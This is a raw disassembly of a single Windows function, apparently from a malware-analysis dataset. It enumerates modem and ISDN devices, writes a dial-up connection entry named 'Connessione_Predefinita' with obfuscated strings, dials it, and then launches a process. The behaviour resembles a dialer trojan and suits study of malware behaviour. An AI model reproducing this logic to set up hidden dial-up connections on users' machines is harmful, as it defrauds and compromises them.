Function at 0x40186c
Capabilities:
Create process on windows

Disassembly:
mov dword [0x4049b4], 0x19c
push 0x4049b0
push 0x40449c
push 0x4049b4
call dword [0x41089c]
mov eax, 0x19c
mul dword [0x4049b0]
mov dword [0x40449c], eax
push 0x4049b0
push 0x40449c
push 0x4049b4
call dword [0x41089c]
mov edx, dword [0x4049b0]
jmp 0x4018e9
push edx
mov eax, 0x19c
dec edx
mul edx
push eax
push eax
pop eax
lea eax, [eax + 0x404ace]
push eax
push 0x404b4f
call sub.KERNEL32.DLL_lstrcpyA
pop eax
lea eax, [eax + 0x4049bc]
push eax
push 0x404dd9
call sub.KERNEL32.DLL_lstrcpyA
pop edx
dec edx
cmp edx, 0
ja 0x4018b8
mov eax, 0
push 0x404ed9
push 0x404edd
push eax
call dword [0x410898]
mov eax, dword [0x404edd]
mov ebx, dword [0x404ed9]
div bl
mov dword [0x404ee1], eax
mov dword [0x40fca0], eax
push 0x404ed9
push 0x404edd
push 0x404ee1
call dword [0x410898]
mov edx, dword [0x404ed9]
mov dword [0x40fca4], 0
mov dword [0x40fca8], 0
jmp 0x401a81
push edx
mov eax, dword [0x40fca0]
dec edx
mul edx
mov dword [0x404edd], eax
push eax
push str.modem
lea eax, [eax + 0x404ee5]
push eax
call sub.KERNEL32.DLL_lstrcmpA
or eax, eax
jne 0x4019e4
mov eax, dword [0x404edd]
push str.isdn
lea eax, [eax + 0x404ef6]
push eax
push 1
call fcn.0040201f
cmp eax, 0
jle 0x4019bf
mov dword [0x40fca8], 1
mov eax, dword [0x404edd]
lea eax, [eax + 0x404ef6]
push eax
push 0x404cd5
call sub.KERNEL32.DLL_lstrcpyA
push str.isdn
push 0x404d57
call sub.KERNEL32.DLL_lstrcpyA
mov eax, dword [0x404edd]
lea eax, [eax + 0x404ef6]
push eax
push 0x410078
call sub.KERNEL32.DLL_lstrcpyA
push str.modem
push 0x410172
call sub.KERNEL32.DLL_lstrcpyA
mov eax, dword [0x404edd]
push str.isdn
lea eax, [eax + 0x404ee5]
push eax
call sub.KERNEL32.DLL_lstrcmpA
or eax, eax
jne 0x401a4d
mov eax, dword [0x404edd]
lea eax, [eax + 0x404ef6]
push eax
push 0x404cd5
call sub.KERNEL32.DLL_lstrcpyA
push str.isdn
push 0x404d57
call sub.KERNEL32.DLL_lstrcpyA
lea eax, [eax + 0x404ef6]
push eax
push 0x410078
call sub.KERNEL32.DLL_lstrcpyA
push str.isdn
push 0x410172
call sub.KERNEL32.DLL_lstrcpyA
mov dword [0x40fca8], 1
call fcn.00402213
push dword [0x41057c]
call sub.KERNEL32.DLL_LocalFree
pop eax
push 0x404b4f
lea eax, [eax + 0x404ef6]
push eax
call sub.KERNEL32.DLL_lstrcmpA
or eax, eax
jne 0x401a7f
cmp dword [0x40fca4], 1
jne 0x401a7f
pop edx
jmp 0x401aef
pop edx
dec edx
cmp edx, 0
ja 0x40194f
cmp dword [0x40fca4], 1
je 0x401aa0
cmp dword [0x40fca8], 1
jne 0x401c13
cmp dword [0x40fca8], 1
jne 0x401aef
push 0x404cd5
push 0x404bd1
call sub.KERNEL32.DLL_lstrcpyA
push 0x404d57
push 0x404c53
call sub.KERNEL32.DLL_lstrcpyA
push str.qrqkfkoh
push str.qrqkfkoh_XX
call sub.KERNEL32.DLL_lstrcpyA
push str.qrqkfkoi
push str.qrqkfkoiXX
call sub.KERNEL32.DLL_lstrcpyA
mov dword [0x40482c], 0x1388
mov edx, dword [0x4049b0]
jmp 0x401b0e
push edx
mov eax, 0x19c
dec edx
mul edx
push dword [eax + 0x4049b8]
call dword [0x410894]
pop edx
dec edx
cmp edx, 0
ja 0x401af7
mov dword [0x40bf29], 0x41c
mov eax, 0
push eax
push eax
push 0x4057ab
push eax
push eax
push eax
call dword [0x410888]
mov eax, dword [0x4057ab]
mov dword [0x4057af], eax
push 0x404c53
push 0x405b7b
call sub.KERNEL32.DLL_lstrcpyA
push str.gbb__agga
push 0x4057ca
call sub.KERNEL32.DLL_lstrcpyA
push 0x404bd1
push 0x405b8c
call sub.KERNEL32.DLL_lstrcpyA
mov dword [0x4057bb], 0
mov dword [0x4057b7], 0
mov dword [0x405867], 4
mov dword [0x40586b], 1
mov dword [0x4057b3], 0x5000218
mov eax, 0
push eax
push eax
push dword [0x4057ab]
push 0x4057af
push str.Connessione_Predefinita
push eax
call dword [0x41088c]
push str.Connessione_Predefinita
push 0x40bf2d
call sub.KERNEL32.DLL_lstrcpyA
push str.qkdefjg
push 0x40c02e
call sub.KERNEL32.DLL_lstrcpyA
push 0x4044c8
push 0x40c130
call sub.KERNEL32.DLL_lstrcpyA
push 0x4044d2
push 0x40c231
call sub.KERNEL32.DLL_lstrcpyA
mov eax, 0
push eax
push 0x40bf29
push eax
call dword [0x410890]
push 0x1388
call sub.KERNEL32.DLL_Sleep
jmp 0x401c71
push str.snprtz
push 0x410474
call sub.KERNEL32.DLL_lstrcpyA
push str.dialno
push 0x410474
call sub.KERNEL32.DLL_lstrcatA
call fcn.004022db
push pe_nt_image_headers32
push str.No_modem
push str.No_modem
push 0
call sub.USER32.dll_MessageBoxA
push 0x410068
push 0x410024
push 0
push 0
push 0x20
push 0
push 0
push 0
push 0x40ff24
push 0
call sub.KERNEL32.DLL_CreateProcessA
push eax
call sub.KERNEL32.DLL_ExitProcess
ret